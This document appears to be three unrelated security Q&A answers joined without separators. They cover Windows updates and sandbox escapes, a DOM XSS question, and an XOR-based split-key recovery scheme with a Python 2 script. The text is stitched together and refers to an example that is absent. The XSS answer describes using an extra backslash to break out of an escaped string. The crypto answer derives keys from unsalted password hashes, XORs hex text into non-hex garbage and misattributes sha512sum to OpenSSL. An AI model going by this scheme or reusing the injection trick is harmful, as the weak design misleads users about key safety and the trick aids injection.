It's pretty much correct, that you have to allow execution of code locally to be infected. So far so well, but local code-execution happens every day. Just consider this site. It runs quite a bit of javascript code - inside your browser. This should - in theory - be safe; practically there are plenty of vulnerabilities that can be executed to produce rather ugly behavior. "I know what I'm doing" is already a misconception, since that's far beyond anyone's possibilities. And in general: updating windows is free, doesn't take that much time if scheduled properly. So why would you decline free security-improvement?

Last but not least:

  stuff everything into a sandbox and you're fine

In theory that's right. But I wouldn't say in theory, if there wasn't a twist. Sandboxes, just like any other piece of software, have bugs, weaknesses, etc.. For example JavaScript runs in a sandbox, just like the rest of the browser. Still one can do massive damage using JavaScript as a starting-point for malicious code execution. Why? Because the sandbox isn't perfect and has holes in it, that allow execution of arbitrary code, if used in the right way. Next point: going back to the JPG-example from above: there are ways to get out of the sandbox without even embedding any code to do so.

TL;DR

This ignores several factors:
The weakest link is always the human factor. "I know what I'm doing" is just wrong. That'll never happend to the point where you know enough make sure your PC is absolutely secure. Home-PCs usually aren't attacked from the outside, but rather by distributing malware that infects the PC, so blocking inbound connections is just a waste of time. Sandboxes, just like other security software, have weaknesses and bugs. They are a security-improvement, but nothing to solely rely on. In addition: why would you decline any free security? Windows updates are usually there for a reason.


Is this javascript vulnerable to dom based XSS?

No it's not vulnerable to XSS based on the provided information. The interpolated URL query parameter token has quote marks escaped (\" instead of just ") so you cannot break out of the string. Because of this it is impossible to inject executable code, opposed to simply changing the content of a JavaScript string variable.

As you pointed out, it is also impossible to close/reopen the script tag.

As noted in the comments, if backslashes are not escaped (which we don't know), you can use an additional \ to escape the first backslash of \" so that it becomes \\" in which case you can break out of the string because the " character is now no longer escaped.


I wrote some comments up under your initial question, but I feel that combining my comments (which describe a solution) with all the answers mentioned thus far may produce something you can actually use (versus researching on your own).
As mentioned in the comments, split-key technology is the process of making X-number of sub-keys. The most common style of implementation is to require ALL X sub-keys to recover a protected key.
In the example I discuss next I'll define the following words to ensure clarity:
key: A crypto-variable that is static (aka, shared/symmetric) or is generated based upon a password or passphrase.
password: A clear-text or otherwise non-crypto-derived value that a human typically memorizes (or, shamefully, writes down on a sticky kept under their keyboard).
passphrase: For the purposes of this example a passphrase is identical to a password.
sub-key: A single chunk of recovery information that is equal in size to the key being protected.
split-key: The concept of breaking a recovery key into various splits (aka, sub-key's or chunks).
dictionary characters: The set of characters a user can enter into a recovery mechanism (e.g., A-Za-z0-9).
Now that we have that out of the way we can look at a method to implement this solution.

Assume that my password (as defined above) is IKnowThisIsBad.
I pass the password to the OpenSSL Linux bash command sha512sum and it outputs the hashed value: d3a48c640bbd58633138e2f88b2d3979e3d609df6cd22246dd73d35a77b6755fcf580be431a93c059bc7106ab8d37491d442339879947728d8da436a9c2c60c0
I use that hashed value (note: it is NOT salted at this point, I'm trying to keep it simple...) as my key. This is the key that we are going to protect and I use this key for all my relevant cryptographic purposes.
Let us assume we'll protect the recovery process by using 3 sub-keys (any number of sub-keys greater than 1 is valid, however).
We assume here that a user cannot remember such a sequence and thus cannot (in their head) store a sub-key. Nonetheless, to successfully (and properly) use split-key technology they must provide a chunk of appropriate length. We'll use our friend sha512sum again. In this example let us pretend that the user's passphrase for deriving their recovery chunk is My Secret Recovery Phrase. The output for that iteration produces: 196822a43878ff1c263fe16b6cb2d768b157cf1018ded64e6bab4d36822262ff7f61404ab21c2d279c6cfaa85112786044231917c484dcf3a81931d34fa86edd
Now we need a chunk that will be stored somewhere else. Using your example we'll say it's stored as text to an email. Back we go to our friend sha512sum to generate this sub-key value. We'll use the passphrase: Email Is Not Very Safe To Store Key Info!!, which yields the following value: a8a73e1c6ecd3f2ddff853901f3781fac5839d42cf360833e7148163beb2c05ad5288e6d3c30fd9e7a4bb854b7f507c70991f6c04c507c58028573b5f89ce6a7
At this point we have 2 out of the three recovery chunks or sub-keys generated. Regardless of how many sub-keys you make, the last one is treated special. If we had 10 sub-keys, then we could create the first 9 following the previous examples. If we had 30 then the first 29 could be created that way. But in any case, one value is generated special. To create the last recovery sub-key we must XOR all the know values up to this point together.
Let's look into this more closely.
The main reason we use XOR in cryptography is that it is recoverable (unlike OR and AND operations). When we XOR the previous three values (i.e., the key, the user recovery sub-key generated from the recovery passphrase, and the stored-in-email sub-key) we generate a 3rd sub-key that is automatically the same length as the other 3 inputs. This 3rd chunk can be assigned to your "download to local computer" recovery option. The result of this XOR operation (which can be thought of as: key ^ sub-key1 ^ sub-key2  -OR- key XOR sub-key1 XOR sub-key2) is: 426;94fc5?68`854eaff50ij?gcao?g`d7i2j;add=3af<3`71gehf0dm`26b7fa0511<7g1b`cjgc;g7`a65ibm5>340;l6`9?0d<k?`n40d7a352mm010gk=j8ecfc
I apologize for the weird formatting of that last output. It is necessary because the resultant sub-key value contained backtick (`) characters that had to be specially escaped.
At this point we save that final value somewhere as specified by the "download to local computer" policy.

Great. So that's a bunch of hash values, but how do you get your key back should it be lost from whatever underlying system(s) that use it? We recover all of the sub-key values and XOR them together. This will reproduce the original key value!
To prove this is the case I wrote a little Python blob that implements this XOR operation for arbitrary numbers of XOR strings. Find it below.
#!/usr/bin/env python

#KEY:    d3a48c640bbd58633138e2f88b2d3979e3d609df6cd22246dd73d35a77b6755fcf580be431a93c059bc7106ab8d37491d442339879947728d8da436a9c2c60c0
#RECOV1: 196822a43878ff1c263fe16b6cb2d768b157cf1018ded64e6bab4d36822262ff7f61404ab21c2d279c6cfaa85112786044231917c484dcf3a81931d34fa86edd
#RECOV2: a8a73e1c6ecd3f2ddff853901f3781fac5839d42cf360833e7148163beb2c05ad5288e6d3c30fd9e7a4bb854b7f507c70991f6c04c507c58028573b5f89ce6a7

#    RECOV3 is generated by running this script with the above 3 command-line values generated by 'sha512sum'
#RECOV3: 426;94fc5?68`854eaff50ij?gcao?g`d7i2j;add=3af<3`71gehf0dm`26b7fa0511<7g1b`cjgc;g7`a65ibm5>340;l6`9?0d<k?`n40d7a352mm010gk=j8ecfc

#    Recovery of KEY is accomplished by running this script with RECOV1 RECOV2 and RECOV3 as parameters.

import sys, binascii, argparse;

parser      = None;
stringlist  = None;

def xor_strings(base, new):
    return "".join(chr(ord(b)^ord(n)) for b, n in zip(base, new));

def SetParseArgs():
    global parser, stringlist;

    parser = argparse.ArgumentParser(description="XOR a bunch of strings!");
    parser.add_argument("string", nargs="+");
    stringlist = parser.parse_args().string;

def main():
    global sys, stringlist;

    SetParseArgs();

    res = stringlist[0];
    for index in range(len(stringlist) - 1):
        #skip string #1
        hexstr = stringlist[index + 1];
        res = xor_strings(res, hexstr);

    print "XOR result string:\n%s" %(res);

if __name__ == "__main__":
    main();
else:
    print "This script cannot be imported";
    print "Please run as: %s <string_1> <string_2> [string_n]" %(sys.argv[0]);
    print "For best (and most logically-correct) results, ensure strings are the same length";

This script can be used to create the recovery chunks, distribute them however you want, then use the script with ALL of the chunks and you will recover your original key.
This example should make it clear how recovery anything less than ALL of the chunks is just as useless as having none of them because an attacker would still have to brute-force every possible combination across the entire key address space.
I hope some of you find this useful. I enjoyed the exercise in putting it together and might actually use it myself now that the implementation is taken care of! :-)
Please comment on any typo's you observe. I used literal values for all examples above so anyone running the commands/tools described above will produce identical results. I wrote all pre-sha512sum'd strings to individual text files WITHOUT a newline at the end and fed them as parameters to sha512sum to create the key, sub-key1, and sub-key2.
Thanks and enjoy!